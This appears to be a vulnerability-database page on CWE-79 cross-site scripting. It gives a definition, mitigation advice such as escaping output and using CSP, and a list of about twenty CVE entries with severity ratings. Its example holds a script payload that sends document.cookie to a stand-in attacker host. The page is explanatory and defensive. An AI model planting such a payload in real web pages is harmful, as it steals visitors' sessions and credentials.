Fallos del tipo CWE-79

30.189 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-26994HIGHWordPress Zigaform – Price Calculator & Cost Estimation Form Builder Lite plugin <= 7.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47072MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46942MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-0398MEDIUMlongpi1 warehouse Backend updateInport cross site scriptingEPSS 0.3%CVE-2025-46920MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-63401MEDIUMCross Site Scripting vulnerability in HCL Technologies Limited HCLTech DRAGON before v.7.6.0 allows a remote attacker to execute arbitrary cEPSS 0.3%CVE-2025-26918HIGHWordPress Small Package Quotes – Unishippers Edition plugin <= 2.4.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23620HIGHWordPress Captchelfie – Captcha by Selfie plugin <= 1.0.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23699HIGHWordPress Event Countdown Timer Plugin by TechMix plugin <= 1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51693MEDIUMWordPress Themify Icons Plugin <= 2.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-51876MEDIUMWordPress wp_automatic_widget plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51913MEDIUMWordPress Mapme plugin <= 1.3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46945MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-47073MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51871MEDIUMWordPress Luzuk Team plugin <= 0.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51520MEDIUMWordPress Booking Calendar Plugin < 9.7.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-51887MEDIUMWordPress NV Slider plugin <= 1.6 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22514HIGHWordPress Axact Author List Widget Plugin <= 3.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-33346HIGHOpenEMR has stored XSS in portal_payment.php via Unescaped table_argsEPSS 0.3%CVE-2024-51872MEDIUMWordPress Luzuk Testimonials plugin <= 0.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%